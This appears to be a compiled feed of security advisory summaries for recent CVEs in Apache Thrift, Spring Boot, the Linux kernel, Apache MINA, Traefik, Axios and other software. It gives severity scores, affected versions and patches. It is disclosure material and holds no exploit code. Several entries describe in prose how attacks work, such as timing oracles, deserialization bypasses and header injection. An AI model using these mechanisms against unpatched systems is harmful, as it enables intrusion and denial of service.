Uncontrolled recursion in Apache Thrift Node.js library's skip() function enables remote denial of service via crafted protocol messages. Attacker sends specially-crafted Thrift messages triggering deep recursion in the skip() deserialization routine, exhausting stack memory and crashing the Node.js process. CVSS 8.7 High severity with network attack vector requiring no authentication. Disclosed via oss-security mailing list on 2026-04-28 alongside three related Thrift vulnerabilities (C++ JSON OOB read CVE-2026-41607, c_glib dispatch stack overflow CVE-2026-41606, Swift Compact Protocol issue CVE-2026-41605), suggesting coordinated security audit results. EPSS data not yet available for 2026 CVE.

Spring Boot applications configured with ApplicationPidFileWriter are vulnerable to local file corruption when a high-privilege user can write to the PID file directory. An attacker with high privileges and write access to the PID file location can corrupt arbitrary files each time the application restarts, achieving denial of service or data integrity violations. Exploitation requires local access and elevated privileges, limiting real-world impact to co-resident or insider threat scenarios. No active exploitation has been publicly reported.

Local privilege escalation and session hijacking in Spring Boot allows attackers with local access to hijack authenticated sessions or execute arbitrary code by taking control of the ApplicationTemp directory. The vulnerability affects Spring Boot versions 2.7.0 through 4.0.5 when server.servlet.session.persistent is enabled, requiring attack persistence across application restarts. VMware has released patches for all supported branches (4.0.6, 3.5.14, 3.4.16, 3.3.19, 2.7.33), though unsupported versions remain vulnerable. No active exploitation confirmed at time of analysis.

Timing attack against Spring Boot DevTools remote secret comparison allows adjacent network attackers to recover the shared secret and achieve remote code execution by uploading malicious classes. Affects Spring Boot 2.7.x through 4.0.x when DevTools remote feature is enabled. Attacker must be on same network segment (AV:A) and overcome high attack complexity (timing-based cryptographic weakness), but requires no authentication or user interaction. CVSS 7.5 severity reflects adjacent vector limitation; real-world risk depends heavily on whether DevTools remote restart is enabled in production (not recommended practice) and network segmentation. No confirmed active exploitation (not in CISA KEV). Vendor-released patches available across all affected branches.

In the Linux kernel, the following vulnerability has been resolved: igb: remove napi_synchronize() in igb_down() When an AF_XDP zero-copy application terminates abruptly (e.g., kill -9), the XSK buffer pool is destroyed but NAPI polling continues. igb_clean_rx_irq_zc() repeatedly returns the full budget, preventing napi_complete_done() from clearing NAPI_STATE_SCHED. igb_down() calls napi_synchronize() before napi_disable() for each queue vector. napi_synchronize() spins waiting for NAPI_STATE_SCHED to clear, which never happens. igb_down() blocks indefinitely, the TX watchdog fires, and the TX queue remains permanently stalled. napi_disable() already handles this correctly: it sets NAPI_STATE_DISABLE. After a full-budget poll, __napi_poll() checks napi_disable_pending(). If set, it forces completion and clears NAPI_STATE_SCHED, breaking the loop that napi_synchronize() cannot. napi_synchronize() was added in commit 41f149a285da ("igb: Fix possible panic caused by Rx traffic arrival while interface is down"). napi_disable() provides stronger guarantees: it prevents further scheduling and waits for any active poll to exit. Other Intel drivers (ixgbe, ice, i40e) use napi_disable() without a preceding napi_synchronize() in their down paths. Remove redundant napi_synchronize() call and reorder napi_disable() before igb_set_queue_napi() so the queue-to-NAPI mapping is only cleared after polling has fully stopped.

Buffer overflow in TH1520 AON firmware protocol driver allows local authenticated attackers with low privileges to execute arbitrary code and gain elevated system access. The vulnerability stems from unsafe pointer arithmetic when accessing the 'mode' field through the 'resource' pointer with unchecked offsets in the T-HEAD firmware driver. Patches available across stable kernel branches (6.18.23, 6.19.13, 7.0) with low EPSS score (0.02%) indicating minimal observed exploitation attempts, though CVSS 7.8 reflects high impact if exploited on affected T-HEAD TH1520 systems.

Denial of service in the Linux kernel EDAC (Error Detection and Correction) subsystem due to improper initialization ordering in edac_mc_alloc(). When memory allocation fails during EDAC memory controller initialization, the error path calls put_device() before device_initialize() is executed, triggering a null pointer dereference in kobject_put() that causes a kernel panic or system crash. This affects Linux systems with EDAC support enabled across multiple kernel versions from 5.19 through 7.0.

Use-after-free in Linux kernel driver core allows local authenticated users to execute arbitrary code, escalate privileges, or crash the system via race condition in device-driver binding operations. The vulnerability stems from inconsistent locking in driver_match_device() function calls, specifically affecting driver_override functionality where device_lock was not held during bind_store() and __driver_attach() operations. EPSS probability is very low (0.02%, 5th percentile), indicating minimal real-world exploitation observed. No active exploitation confirmed - no CISA KEV listing identified. Patch available in kernel 7.0+ and backport commit dc23806a7c47.

Denial of service in Linux kernel GPIO OMAP driver allows local authenticated users to crash the system via a deadlock condition triggered by improper driver registration from probe() callback. The vulnerability stems from registering the omap_mpuio_driver within omap_gpio_probe(), which violates driver core locking rules and creates a potential deadlock when device_lock enforcement was strengthened in commit dc23806a7c47. EPSS score of 0.03% reflects low exploitation probability despite availability of patched kernel versions.

pip prior to version 26.1 would run self-update check functionality after installing wheel files which required importing well-known Python modules names. These module imports were intentionally deferred to increase startup time of the pip CLI. The patch changes self-update functionality to run before wheels are installed to prevent newly-installed modules from being imported shortly after the installation of a wheel package. Users should still review package contents prior to installation.

Remote unauthenticated attackers can execute arbitrary code in Apache MINA 2.0.0-2.0.27, 2.1.0-2.1.10, and 2.2.0-2.2.5 through unsafe deserialization in AbstractIoBuffer.getObject(). This is an incomplete fix bypass for CVE-2024-52046 where the classname allowlist validation occurs after static initializers execute, enabling attackers to trigger malicious code execution before security controls engage. Apache confirmed the flaw affects applications calling IoBuffer.getObject() and released patches in versions 2.0.28, 2.1.11, and 2.2.6. CVSS 9.8 critical score reflects network-accessible unauthenticated exploitation with complete system compromise potential.

Remote code execution in Apache MINA 2.0.0-2.0.27, 2.1.0-2.1.10, and 2.2.0-2.2.5 allows unauthenticated network attackers to execute arbitrary code by exploiting unsafe deserialization in AbstractIoBuffer.resolveClass(). The vulnerability bypasses classname allowlist protections due to incomplete validation of static classes and primitive types. CVSS 9.8 critical severity reflects trivial network-based exploitation requiring no authentication or user interaction. Applications using IoBuffer.getObject() are affected. Vendor-released patches available in versions 2.0.28, 2.1.11, and 2.2.6.

Nmap 7.70 contains a denial of service vulnerability that allows local attackers to crash the application by processing malicious XML files with exponential entity expansion. Rated medium severity (CVSS 6.9), this vulnerability is no authentication required, low attack complexity. Public exploit code available.

Code injection in Envoy up to 1.33.0 via improper query parameter handling in the Header Mutation filter allows authenticated remote attackers to inject arbitrary code through the params.add function, resulting in limited confidentiality and integrity impact. The CVSS 5.3 score reflects the requirement for prior authentication and limited scope of impact, though the injection vector in a core HTTP filtering component warrants prompt patching.

Unintended intermediary exposure in go-kratos kratos up to 2.9.2 allows remote attackers to disclose sensitive information via manipulation of the http.DefaultServeMux fallback handler in the NewServer function. The vulnerability has publicly available exploit code and affects the HTTP transport layer with a CVSS score of 5.5, representing a confidentiality impact without availability or integrity concerns.

In the Linux kernel, the following vulnerability has been resolved: crypto: af_alg - limit RX SG extraction by receive buffer budget Make af_alg_get_rsgl() limit each RX scatterlist extraction to the remaining receive buffer budget. af_alg_get_rsgl() currently uses af_alg_readable() only as a gate before extracting data into the RX scatterlist. Limit each extraction to the remaining af_alg_rcvbuf(sk) budget so that receive-side accounting matches the amount of data attached to the request. If skcipher cannot obtain enough RX space for at least one chunk while more data remains to be processed, reject the recvmsg call instead of rounding the request length down to zero.

Traefik's BasicAuth middleware contains a timing side-channel vulnerability that allows attackers to enumerate valid usernames through response-time analysis. A map key/value confusion in the constant-time comparison fallback causes the `notFoundSecret` variable to always resolve to an empty string, causing authentication checks against non-existent users to complete in microseconds (~0.48ms) instead of performing full bcrypt evaluation (~62ms), creating a 130x timing oracle. Attackers can distinguish existing users from non-existent ones by measuring HTTP response times, enabling account enumeration without credentials.

Traefik versions prior to 2.11.43, 3.6.14, and 3.7.0-rc.2 fail to enforce cross-namespace isolation for middleware references nested inside Chain middlewares, allowing actors with permission to create CRDs in their own namespace to bypass the allowCrossNamespace=false restriction and apply middleware from arbitrary namespaces. This authorization bypass affects Kubernetes clusters relying on namespace isolation controls and can enable unauthorized reuse of security-sensitive middleware policies across namespace boundaries.

Cross-site request forgery (CSRF) in Authlib's Starlette OAuth client cache feature (versions prior to 1.6.11) allows unauthenticated remote attackers to forge requests that manipulate cached OAuth state, potentially leading to session hijacking or token theft. The vulnerability requires user interaction (UI:R) and affects confidentiality and integrity. Vendor-released patch: version 1.6.11.

PJSIP is a free and open source multimedia communication library written in C. In 2.16 and earlier, there is an out-of-bounds read when parsing a malformed Content-ID URI in SIP multipart message body. Insufficient length validation can cause reads beyond the intended buffer bounds. This vulnerability is fixed in 2.17.

Buffer overwrite vulnerability in uuid JavaScript library versions prior to 14.0.0 enables remote attackers to corrupt memory and potentially disclose sensitive information through out-of-range writes when applications use v3, v5, or v6 UUID generation functions with caller-provided output buffers. The library fails to validate buffer boundaries, allowing partial writes beyond allocated memory regions. Vendor patch available in version 14.0.0 per GitHub security advisory GHSA-w5hq-g745-h8pq. No confirmed active exploitation (not in CISA KEV), and CVSS 4.0 Environmental Score suggests exploitation status is unproven (E:U).

Axios HTTP client versions prior to 1.15.1 and 0.31.1 use loose truthy/falsy comparison instead of strict boolean checks for the withXSRFToken config property, allowing XSRF tokens to be sent to cross-origin servers when the property is set to any truthy non-boolean value through prototype pollution or misconfiguration. This bypasses same-origin validation and enables attackers to exfiltrate XSRF tokens to attacker-controlled domains, compromising CSRF protection across applications using vulnerable versions.

Axios HTTP client prior to version 1.15.1 (1.x branch) and 0.31.1 (0.x branch) fails to enforce maxContentLength limits when responseType is set to 'stream', allowing attackers to cause denial of service by streaming unbounded response payloads that bypass configured size restrictions. The vulnerability affects both browser and Node.js environments and requires no authentication or user interaction to exploit.

Axios versions prior to 1.15.1 and 0.31.1 allow remote attackers to bypass maxBodyLength restrictions on stream request bodies when maxRedirects is set to 0, enabling denial of service through oversized uploads that consume unbounded server resources. The vulnerability affects the native http/https transport path in Node.js environments and enables attackers to send streamed payloads that exceed configured size limits, potentially exhausting memory or bandwidth on the target application.

Axios HTTP client versions 1.0.0 through 1.15.0 allow header injection in multipart form-data bodies through unsanitized CRLF sequences in the Content-Type header of individual parts. An attacker controlling a Blob/File object's .type property (such as via user-uploaded files in a Node.js proxy service) can inject arbitrary MIME headers into the multipart body, bypassing Node.js v18+ built-in header protections. The vulnerability affects network-accessible services and results in integrity compromise through header manipulation.